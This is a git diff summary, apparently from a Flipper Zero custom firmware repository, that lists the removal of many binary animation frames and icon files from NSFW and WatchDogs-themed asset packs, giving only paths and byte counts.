.../NSFW/Anims/lvl_29/frame_17.bm | Bin 343 -> 0 bytes .../NSFW/Anims/lvl_29/frame_18.bm | Bin 317 -> 0 bytes .../NSFW/Anims/lvl_29/frame_19.bm | Bin 347 -> 0 bytes .../NSFW/Anims/lvl_29/frame_2.bm | Bin 265 -> 0 bytes .../NSFW/Anims/lvl_29/frame_20.bm | Bin 311 -> 0 bytes .../NSFW/Anims/lvl_29/frame_21.bm | Bin 348 -> 0 bytes .../NSFW/Anims/lvl_29/frame_22.bm | Bin 373 -> 0 bytes .../NSFW/Anims/lvl_29/frame_23.bm | Bin 343 -> 0 bytes .../NSFW/Anims/lvl_29/frame_24.bm | Bin 341 -> 0 bytes .../NSFW/Anims/lvl_29/frame_25.bm | Bin 304 -> 0 bytes .../NSFW/Anims/lvl_29/frame_26.bm | Bin 339 -> 0 bytes .../NSFW/Anims/lvl_29/frame_27.bm | Bin 341 -> 0 bytes .../NSFW/Anims/lvl_29/frame_28.bm | Bin 317 -> 0 bytes .../NSFW/Anims/lvl_29/frame_29.bm | Bin 335 -> 0 bytes .../NSFW/Anims/lvl_29/frame_3.bm | Bin 241 -> 0 bytes .../NSFW/Anims/lvl_29/frame_30.bm | Bin 307 -> 0 bytes .../NSFW/Anims/lvl_29/frame_31.bm | Bin 321 -> 0 bytes .../NSFW/Anims/lvl_29/frame_32.bm | Bin 321 -> 0 bytes .../NSFW/Anims/lvl_29/frame_33.bm | Bin 305 -> 0 bytes .../NSFW/Anims/lvl_29/frame_34.bm | Bin 314 -> 0 bytes .../NSFW/Anims/lvl_29/frame_35.bm | Bin 283 -> 0 bytes .../NSFW/Anims/lvl_29/frame_36.bm | Bin 310 -> 0 bytes .../NSFW/Anims/lvl_29/frame_37.bm | Bin 498 -> 0 bytes .../NSFW/Anims/lvl_29/frame_38.bm | Bin 377 -> 0 bytes .../NSFW/Anims/lvl_29/frame_39.bm | Bin 451 -> 0 bytes .../NSFW/Anims/lvl_29/frame_4.bm | Bin 251 -> 0 bytes .../NSFW/Anims/lvl_29/frame_40.bm | Bin 427 -> 0 bytes .../NSFW/Anims/lvl_29/frame_41.bm | Bin 475 -> 0 bytes .../NSFW/Anims/lvl_29/frame_42.bm | Bin 487 -> 0 bytes .../NSFW/Anims/lvl_29/frame_43.bm | Bin 393 -> 0 bytes .../NSFW/Anims/lvl_29/frame_44.bm | Bin 461 -> 0 bytes .../NSFW/Anims/lvl_29/frame_45.bm | Bin 424 -> 0 bytes .../NSFW/Anims/lvl_29/frame_46.bm | Bin 451 -> 0 bytes .../NSFW/Anims/lvl_29/frame_47.bm | Bin 474 -> 0 bytes .../NSFW/Anims/lvl_29/frame_48.bm | Bin 404 -> 0 bytes .../NSFW/Anims/lvl_29/frame_49.bm | Bin 486 -> 0 bytes .../NSFW/Anims/lvl_29/frame_5.bm | Bin 228 -> 0 bytes .../NSFW/Anims/lvl_29/frame_50.bm | Bin 463 -> 0 bytes .../NSFW/Anims/lvl_29/frame_51.bm | Bin 452 -> 0 bytes .../NSFW/Anims/lvl_29/frame_6.bm | Bin 242 -> 0 bytes .../NSFW/Anims/lvl_29/frame_7.bm | Bin 263 -> 0 bytes .../NSFW/Anims/lvl_29/frame_8.bm | Bin 263 -> 0 bytes .../NSFW/Anims/lvl_29/frame_9.bm | Bin 275 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_29/meta.txt | 14 -- .../NSFW/Anims/lvl_3/frame_0.bm | Bin 776 -> 0 bytes .../NSFW/Anims/lvl_3/frame_1.bm | Bin 775 -> 0 bytes .../NSFW/Anims/lvl_3/frame_10.bm | Bin 1016 -> 0 bytes .../NSFW/Anims/lvl_3/frame_11.bm | Bin 991 -> 0 bytes .../NSFW/Anims/lvl_3/frame_12.bm | Bin 1001 -> 0 bytes .../NSFW/Anims/lvl_3/frame_13.bm | Bin 986 -> 0 bytes .../NSFW/Anims/lvl_3/frame_14.bm | Bin 997 -> 0 bytes .../NSFW/Anims/lvl_3/frame_2.bm | Bin 784 -> 0 bytes .../NSFW/Anims/lvl_3/frame_3.bm | Bin 923 -> 0 bytes .../NSFW/Anims/lvl_3/frame_4.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_3/frame_5.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_3/frame_6.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_3/frame_7.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_3/frame_8.bm | Bin 1007 -> 0 bytes .../NSFW/Anims/lvl_3/frame_9.bm | Bin 988 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_3/meta.txt | 14 -- .../NSFW/Anims/lvl_30/frame_0.bm | Bin 356 -> 0 bytes .../NSFW/Anims/lvl_30/frame_1.bm | Bin 342 -> 0 bytes .../NSFW/Anims/lvl_30/frame_10.bm | Bin 339 -> 0 bytes .../NSFW/Anims/lvl_30/frame_11.bm | Bin 336 -> 0 bytes .../NSFW/Anims/lvl_30/frame_12.bm | Bin 361 -> 0 bytes .../NSFW/Anims/lvl_30/frame_13.bm | Bin 385 -> 0 bytes .../NSFW/Anims/lvl_30/frame_14.bm | Bin 389 -> 0 bytes .../NSFW/Anims/lvl_30/frame_15.bm | Bin 408 -> 0 bytes .../NSFW/Anims/lvl_30/frame_16.bm | Bin 364 -> 0 bytes .../NSFW/Anims/lvl_30/frame_17.bm | Bin 332 -> 0 bytes .../NSFW/Anims/lvl_30/frame_18.bm | Bin 338 -> 0 bytes .../NSFW/Anims/lvl_30/frame_19.bm | Bin 365 -> 0 bytes .../NSFW/Anims/lvl_30/frame_2.bm | Bin 349 -> 0 bytes .../NSFW/Anims/lvl_30/frame_20.bm | Bin 379 -> 0 bytes .../NSFW/Anims/lvl_30/frame_21.bm | Bin 409 -> 0 bytes .../NSFW/Anims/lvl_30/frame_22.bm | Bin 388 -> 0 bytes .../NSFW/Anims/lvl_30/frame_23.bm | Bin 337 -> 0 bytes .../NSFW/Anims/lvl_30/frame_24.bm | Bin 346 -> 0 bytes .../NSFW/Anims/lvl_30/frame_25.bm | Bin 385 -> 0 bytes .../NSFW/Anims/lvl_30/frame_26.bm | Bin 406 -> 0 bytes .../NSFW/Anims/lvl_30/frame_27.bm | Bin 404 -> 0 bytes .../NSFW/Anims/lvl_30/frame_28.bm | Bin 460 -> 0 bytes .../NSFW/Anims/lvl_30/frame_29.bm | Bin 466 -> 0 bytes .../NSFW/Anims/lvl_30/frame_3.bm | Bin 363 -> 0 bytes .../NSFW/Anims/lvl_30/frame_30.bm | Bin 354 -> 0 bytes .../NSFW/Anims/lvl_30/frame_31.bm | Bin 440 -> 0 bytes .../NSFW/Anims/lvl_30/frame_32.bm | Bin 403 -> 0 bytes .../NSFW/Anims/lvl_30/frame_33.bm | Bin 408 -> 0 bytes .../NSFW/Anims/lvl_30/frame_34.bm | Bin 401 -> 0 bytes .../NSFW/Anims/lvl_30/frame_35.bm | Bin 390 -> 0 bytes .../NSFW/Anims/lvl_30/frame_36.bm | Bin 370 -> 0 bytes .../NSFW/Anims/lvl_30/frame_37.bm | Bin 350 -> 0 bytes .../NSFW/Anims/lvl_30/frame_38.bm | Bin 354 -> 0 bytes .../NSFW/Anims/lvl_30/frame_39.bm | Bin 396 -> 0 bytes .../NSFW/Anims/lvl_30/frame_4.bm | Bin 383 -> 0 bytes .../NSFW/Anims/lvl_30/frame_40.bm | Bin 455 -> 0 bytes .../NSFW/Anims/lvl_30/frame_41.bm | Bin 489 -> 0 bytes .../NSFW/Anims/lvl_30/frame_42.bm | Bin 409 -> 0 bytes .../NSFW/Anims/lvl_30/frame_43.bm | Bin 356 -> 0 bytes .../NSFW/Anims/lvl_30/frame_44.bm | Bin 694 -> 0 bytes .../NSFW/Anims/lvl_30/frame_45.bm | Bin 359 -> 0 bytes .../NSFW/Anims/lvl_30/frame_46.bm | Bin 423 -> 0 bytes .../NSFW/Anims/lvl_30/frame_47.bm | Bin 416 -> 0 bytes .../NSFW/Anims/lvl_30/frame_48.bm | Bin 412 -> 0 bytes .../NSFW/Anims/lvl_30/frame_49.bm | Bin 384 -> 0 bytes .../NSFW/Anims/lvl_30/frame_5.bm | Bin 391 -> 0 bytes .../NSFW/Anims/lvl_30/frame_6.bm | Bin 399 -> 0 bytes .../NSFW/Anims/lvl_30/frame_7.bm | Bin 376 -> 0 bytes .../NSFW/Anims/lvl_30/frame_8.bm | Bin 362 -> 0 bytes .../NSFW/Anims/lvl_30/frame_9.bm | Bin 343 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_30/meta.txt | 14 -- .../NSFW/Anims/lvl_4/frame_0.bm | Bin 835 -> 0 bytes .../NSFW/Anims/lvl_4/frame_1.bm | Bin 806 -> 0 bytes .../NSFW/Anims/lvl_4/frame_10.bm | Bin 904 -> 0 bytes .../NSFW/Anims/lvl_4/frame_11.bm | Bin 887 -> 0 bytes .../NSFW/Anims/lvl_4/frame_12.bm | Bin 795 -> 0 bytes .../NSFW/Anims/lvl_4/frame_13.bm | Bin 788 -> 0 bytes .../NSFW/Anims/lvl_4/frame_14.bm | Bin 754 -> 0 bytes .../NSFW/Anims/lvl_4/frame_15.bm | Bin 704 -> 0 bytes .../NSFW/Anims/lvl_4/frame_16.bm | Bin 789 -> 0 bytes .../NSFW/Anims/lvl_4/frame_17.bm | Bin 819 -> 0 bytes .../NSFW/Anims/lvl_4/frame_18.bm | Bin 850 -> 0 bytes .../NSFW/Anims/lvl_4/frame_19.bm | Bin 831 -> 0 bytes .../NSFW/Anims/lvl_4/frame_2.bm | Bin 755 -> 0 bytes .../NSFW/Anims/lvl_4/frame_3.bm | Bin 752 -> 0 bytes .../NSFW/Anims/lvl_4/frame_4.bm | Bin 783 -> 0 bytes .../NSFW/Anims/lvl_4/frame_5.bm | Bin 832 -> 0 bytes .../NSFW/Anims/lvl_4/frame_6.bm | Bin 871 -> 0 bytes .../NSFW/Anims/lvl_4/frame_7.bm | Bin 892 -> 0 bytes .../NSFW/Anims/lvl_4/frame_8.bm | Bin 891 -> 0 bytes .../NSFW/Anims/lvl_4/frame_9.bm | Bin 889 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_4/meta.txt | 14 -- .../NSFW/Anims/lvl_5/frame_0.bm | Bin 670 -> 0 bytes .../NSFW/Anims/lvl_5/frame_1.bm | Bin 628 -> 0 bytes .../NSFW/Anims/lvl_5/frame_10.bm | Bin 582 -> 0 bytes .../NSFW/Anims/lvl_5/frame_11.bm | Bin 562 -> 0 bytes .../NSFW/Anims/lvl_5/frame_12.bm | Bin 644 -> 0 bytes .../NSFW/Anims/lvl_5/frame_13.bm | Bin 658 -> 0 bytes .../NSFW/Anims/lvl_5/frame_14.bm | Bin 481 -> 0 bytes .../NSFW/Anims/lvl_5/frame_15.bm | Bin 388 -> 0 bytes .../NSFW/Anims/lvl_5/frame_16.bm | Bin 413 -> 0 bytes .../NSFW/Anims/lvl_5/frame_17.bm | Bin 425 -> 0 bytes .../NSFW/Anims/lvl_5/frame_18.bm | Bin 389 -> 0 bytes .../NSFW/Anims/lvl_5/frame_19.bm | Bin 387 -> 0 bytes .../NSFW/Anims/lvl_5/frame_2.bm | Bin 595 -> 0 bytes .../NSFW/Anims/lvl_5/frame_20.bm | Bin 402 -> 0 bytes .../NSFW/Anims/lvl_5/frame_21.bm | Bin 463 -> 0 bytes .../NSFW/Anims/lvl_5/frame_22.bm | Bin 429 -> 0 bytes .../NSFW/Anims/lvl_5/frame_23.bm | Bin 495 -> 0 bytes .../NSFW/Anims/lvl_5/frame_24.bm | Bin 406 -> 0 bytes .../NSFW/Anims/lvl_5/frame_25.bm | Bin 469 -> 0 bytes .../NSFW/Anims/lvl_5/frame_26.bm | Bin 475 -> 0 bytes .../NSFW/Anims/lvl_5/frame_27.bm | Bin 475 -> 0 bytes .../NSFW/Anims/lvl_5/frame_3.bm | Bin 645 -> 0 bytes .../NSFW/Anims/lvl_5/frame_4.bm | Bin 613 -> 0 bytes .../NSFW/Anims/lvl_5/frame_5.bm | Bin 595 -> 0 bytes .../NSFW/Anims/lvl_5/frame_6.bm | Bin 685 -> 0 bytes .../NSFW/Anims/lvl_5/frame_7.bm | Bin 628 -> 0 bytes .../NSFW/Anims/lvl_5/frame_8.bm | Bin 619 -> 0 bytes .../NSFW/Anims/lvl_5/frame_9.bm | Bin 612 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_5/meta.txt | 14 -- .../NSFW/Anims/lvl_6/frame_0.bm | Bin 970 -> 0 bytes .../NSFW/Anims/lvl_6/frame_1.bm | Bin 953 -> 0 bytes .../NSFW/Anims/lvl_6/frame_2.bm | Bin 945 -> 0 bytes .../NSFW/Anims/lvl_6/frame_3.bm | Bin 946 -> 0 bytes .../NSFW/Anims/lvl_6/frame_4.bm | Bin 955 -> 0 bytes .../NSFW/Anims/lvl_6/frame_5.bm | Bin 952 -> 0 bytes .../NSFW/Anims/lvl_6/frame_6.bm | Bin 964 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_6/meta.txt | 14 -- .../NSFW/Anims/lvl_7/frame_0.bm | Bin 915 -> 0 bytes .../NSFW/Anims/lvl_7/frame_1.bm | Bin 922 -> 0 bytes .../NSFW/Anims/lvl_7/frame_10.bm | Bin 938 -> 0 bytes .../NSFW/Anims/lvl_7/frame_11.bm | Bin 940 -> 0 bytes .../NSFW/Anims/lvl_7/frame_12.bm | Bin 944 -> 0 bytes .../NSFW/Anims/lvl_7/frame_13.bm | Bin 937 -> 0 bytes .../NSFW/Anims/lvl_7/frame_2.bm | Bin 916 -> 0 bytes .../NSFW/Anims/lvl_7/frame_3.bm | Bin 926 -> 0 bytes .../NSFW/Anims/lvl_7/frame_4.bm | Bin 939 -> 0 bytes .../NSFW/Anims/lvl_7/frame_5.bm | Bin 929 -> 0 bytes .../NSFW/Anims/lvl_7/frame_6.bm | Bin 935 -> 0 bytes .../NSFW/Anims/lvl_7/frame_7.bm | Bin 931 -> 0 bytes .../NSFW/Anims/lvl_7/frame_8.bm | Bin 942 -> 0 bytes .../NSFW/Anims/lvl_7/frame_9.bm | Bin 940 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_7/meta.txt | 14 -- .../NSFW/Anims/lvl_8/frame_0.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_8/frame_1.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_8/frame_2.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_8/frame_3.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_8/frame_4.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_8/frame_5.bm | Bin 1025 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_8/meta.txt | 14 -- .../NSFW/Anims/lvl_9/frame_0.bm | Bin 631 -> 0 bytes .../NSFW/Anims/lvl_9/frame_1.bm | Bin 629 -> 0 bytes .../NSFW/Anims/lvl_9/frame_2.bm | Bin 644 -> 0 bytes .../NSFW/Anims/lvl_9/frame_3.bm | Bin 619 -> 0 bytes .../NSFW/Anims/lvl_9/frame_4.bm | Bin 623 -> 0 bytes .../NSFW/Anims/lvl_9/frame_5.bm | Bin 613 -> 0 bytes .../NSFW/Anims/lvl_9/frame_6.bm | Bin 622 -> 0 bytes .../NSFW/Anims/lvl_9/frame_7.bm | Bin 613 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_9/meta.txt | 14 -- .../dolphin_custom/NSFW/Anims/manifest.txt | 219 ------------------ .../Animations/Levelup_128x64/frame_00.bm | Bin 225 -> 0 bytes .../Animations/Levelup_128x64/frame_01.bm | Bin 217 -> 0 bytes .../Animations/Levelup_128x64/frame_02.bm | Bin 219 -> 0 bytes .../Animations/Levelup_128x64/frame_03.bm | Bin 224 -> 0 bytes .../Animations/Levelup_128x64/frame_04.bm | Bin 221 -> 0 bytes .../Animations/Levelup_128x64/frame_05.bm | Bin 223 -> 0 bytes .../Animations/Levelup_128x64/frame_06.bm | Bin 225 -> 0 bytes .../Animations/Levelup_128x64/frame_07.bm | Bin 227 -> 0 bytes .../Animations/Levelup_128x64/frame_08.bm | Bin 228 -> 0 bytes .../Animations/Levelup_128x64/frame_09.bm | Bin 222 -> 0 bytes .../Animations/Levelup_128x64/frame_10.bm | Bin 224 -> 0 bytes .../Animations/Levelup_128x64/frame_11.bm | Bin 221 -> 0 bytes .../Animations/Levelup_128x64/frame_12.bm | Bin 223 -> 0 bytes .../Animations/Levelup_128x64/frame_13.bm | Bin 225 -> 0 bytes .../Animations/Levelup_128x64/frame_14.bm | Bin 227 -> 0 bytes .../Animations/Levelup_128x64/frame_15.bm | Bin 228 -> 0 bytes .../Animations/Levelup_128x64/frame_16.bm | Bin 222 -> 0 bytes .../Animations/Levelup_128x64/frame_17.bm | Bin 225 -> 0 bytes .../Animations/Levelup_128x64/frame_18.bm | Bin 217 -> 0 bytes .../Animations/Levelup_128x64/frame_19.bm | Bin 219 -> 0 bytes .../Animations/Levelup_128x64/frame_20.bm | Bin 225 -> 0 bytes .../Animations/Levelup_128x64/frame_21.bm | Bin 217 -> 0 bytes .../Animations/Levelup_128x64/frame_22.bm | Bin 219 -> 0 bytes .../Animations/Levelup_128x64/frame_23.bm | Bin 224 -> 0 bytes .../Animations/Levelup_128x64/frame_24.bm | Bin 221 -> 0 bytes .../Animations/Levelup_128x64/frame_25.bm | Bin 223 -> 0 bytes .../Animations/Levelup_128x64/frame_26.bm | Bin 225 -> 0 bytes .../Animations/Levelup_128x64/frame_27.bm | Bin 227 -> 0 bytes .../Animations/Levelup_128x64/frame_28.bm | Bin 228 -> 0 bytes .../Animations/Levelup_128x64/frame_29.bm | Bin 222 -> 0 bytes .../Animations/Levelup_128x64/frame_30.bm | Bin 224 -> 0 bytes .../Animations/Levelup_128x64/frame_31.bm | Bin 518 -> 0 bytes .../NSFW/Icons/Animations/Levelup_128x64/meta | Bin 16 -> 0 bytes .../NSFW/Icons/BLE/BLE_Pairing_128x64.bmx | Bin 480 -> 0 bytes .../Icons/Dolphin/DolphinCommon_56x48.bmx | Bin 325 -> 0 bytes .../Infrared/DolphinReadingSuccess_59x63.bmx | Bin 513 -> 0 bytes .../Icons/NFC/NFC_dolphin_emulation_47x61.bmx | Bin 375 -> 0 bytes .../NSFW/Icons/Passport/passport_DB.bmx | Bin 286 -> 0 bytes .../Icons/Passport/passport_bad_46x49.bmx | Bin 297 -> 0 bytes .../Icons/Passport/passport_happy_46x49.bmx | Bin 297 -> 0 bytes .../Icons/Passport/passport_okay_46x49.bmx | Bin 297 -> 0 bytes .../Icons/RFID/RFIDDolphinReceive_97x61.bmx | Bin 525 -> 0 bytes .../NSFW/Icons/RFID/RFIDDolphinSend_97x61.bmx | Bin 525 -> 0 bytes .../Icons/RFID/RFIDDolphinSuccess_108x57.bmx | Bin 502 -> 0 bytes .../NSFW/Icons/Settings/Cry_dolph_55x52.bmx | Bin 352 -> 0 bytes .../NSFW/Icons/SubGhz/Fishing_123x52.bmx | Bin 458 -> 0 bytes .../NSFW/Icons/SubGhz/Scanning_123x52.bmx | Bin 458 -> 0 bytes .../NSFW/Icons/U2F/Auth_62x31.bmx | Bin 187 -> 0 bytes .../NSFW/Icons/U2F/Connect_me_62x31.bmx | Bin 188 -> 0 bytes .../NSFW/Icons/U2F/Connected_62x31.bmx | Bin 210 -> 0 bytes .../NSFW/Icons/U2F/Error_62x31.bmx | Bin 191 -> 0 bytes .../Icons/iButton/DolphinMafia_115x62.bmx | Bin 684 -> 0 bytes .../NSFW/Icons/iButton/DolphinNice_96x59.bmx | Bin 609 -> 0 bytes .../NSFW/Icons/iButton/DolphinWait_61x59.bmx | Bin 481 -> 0 bytes .../iButtonDolphinVerySuccess_108x52.bmx | Bin 482 -> 0 bytes .../WatchDogs/Anims/BOTTY_CALL/frame_0.bm | Bin 835 -> 0 bytes .../WatchDogs/Anims/BOTTY_CALL/frame_1.bm | Bin 849 -> 0 bytes .../WatchDogs/Anims/BOTTY_CALL/frame_2.bm | Bin 877 -> 0 bytes .../WatchDogs/Anims/BOTTY_CALL/meta.txt | 14 -- .../WatchDogs/Anims/DEDSEC_AD/frame_0.bm | Bin 555 -> 0 bytes .../WatchDogs/Anims/DEDSEC_AD/frame_1.bm | Bin 946 -> 0 bytes .../WatchDogs/Anims/DEDSEC_AD/frame_10.bm | Bin 382 -> 0 bytes .../WatchDogs/Anims/DEDSEC_AD/frame_11.bm | Bin 903 -> 0 bytes .../WatchDogs/Anims/DEDSEC_AD/frame_12.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/DEDSEC_AD/frame_13.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/DEDSEC_AD/frame_14.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/DEDSEC_AD/frame_15.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/DEDSEC_AD/frame_16.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/DEDSEC_AD/frame_2.bm | Bin 935 -> 0 bytes .../WatchDogs/Anims/DEDSEC_AD/frame_3.bm | Bin 981 -> 0 bytes .../WatchDogs/Anims/DEDSEC_AD/frame_4.bm | Bin 869 -> 0 bytes .../WatchDogs/Anims/DEDSEC_AD/frame_5.bm | Bin 504 -> 0 bytes .../WatchDogs/Anims/DEDSEC_AD/frame_6.bm | Bin 561 -> 0 bytes .../WatchDogs/Anims/DEDSEC_AD/frame_7.bm | Bin 548 -> 0 bytes .../WatchDogs/Anims/DEDSEC_AD/frame_8.bm | Bin 504 -> 0 bytes .../WatchDogs/Anims/DEDSEC_AD/frame_9.bm | Bin 585 -> 0 bytes .../WatchDogs/Anims/DEDSEC_AD/meta.txt | 14 -- .../WatchDogs/Anims/DEDSEC_ANIM/frame_0.bm | Bin 582 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_1.bm | Bin 521 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_10.bm | Bin 908 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_11.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_12.bm | Bin 993 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_13.bm | Bin 930 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_14.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_15.bm | Bin 723 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_16.bm | Bin 696 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_17.bm | Bin 684 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_18.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_19.bm | Bin 1025 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_2.bm | Bin 560 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_20.bm | Bin 695 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_21.bm | Bin 685 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_22.bm | Bin 618 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_23.bm | Bin 594 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_24.bm | Bin 312 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_25.bm | Bin 315 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_26.bm | Bin 396 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_27.bm | Bin 663 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_28.bm | Bin 323 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_29.bm | Bin 329 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_3.bm | Bin 756 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_30.bm | Bin 337 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_31.bm | Bin 348 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_32.bm | Bin 387 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_33.bm | Bin 348 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_34.bm | Bin 313 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_35.bm | Bin 430 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_36.bm | Bin 519 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_37.bm | Bin 486 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_38.bm | Bin 317 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_39.bm | Bin 183 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_4.bm | Bin 768 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_40.bm | Bin 137 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_41.bm | Bin 110 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_5.bm | Bin 785 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_6.bm | Bin 866 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_7.bm | Bin 866 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_8.bm | Bin 876 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/frame_9.bm | Bin 843 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ANIM/meta.txt | 14 -- .../WatchDogs/Anims/DEDSEC_ASCII/frame_0.bm | Bin 110 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ASCII/frame_1.bm | Bin 173 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ASCII/frame_10.bm | Bin 146 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ASCII/frame_2.bm | Bin 209 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ASCII/frame_3.bm | Bin 336 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ASCII/frame_4.bm | Bin 426 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ASCII/frame_5.bm | Bin 452 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ASCII/frame_6.bm | Bin 455 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ASCII/frame_7.bm | Bin 400 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ASCII/frame_8.bm | Bin 315 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ASCII/frame_9.bm | Bin 247 -> 0 bytes .../WatchDogs/Anims/DEDSEC_ASCII/meta.txt | 14 -- .../WatchDogs/Anims/DEDSEC_LOGO/frame_0.bm | Bin 318 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_1.bm | Bin 319 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_10.bm | Bin 571 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_11.bm | Bin 558 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_12.bm | Bin 615 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_13.bm | Bin 653 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_14.bm | Bin 715 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_15.bm | Bin 682 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_16.bm | Bin 733 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_17.bm | Bin 770 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_18.bm | Bin 705 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_19.bm | Bin 669 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_2.bm | Bin 308 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_20.bm | Bin 651 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_21.bm | Bin 727 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_22.bm | Bin 676 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_23.bm | Bin 712 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_24.bm | Bin 703 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_25.bm | Bin 760 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_26.bm | Bin 752 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_27.bm | Bin 651 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_28.bm | Bin 637 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_29.bm | Bin 267 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_3.bm | Bin 306 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_30.bm | Bin 189 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_31.bm | Bin 269 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_4.bm | Bin 304 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_5.bm | Bin 331 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_6.bm | Bin 376 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_7.bm | Bin 402 -> 0 bytes .../WatchDogs/Anims/DEDSEC_LOGO/frame_8.bm | Bin 446 -> 0 bytes 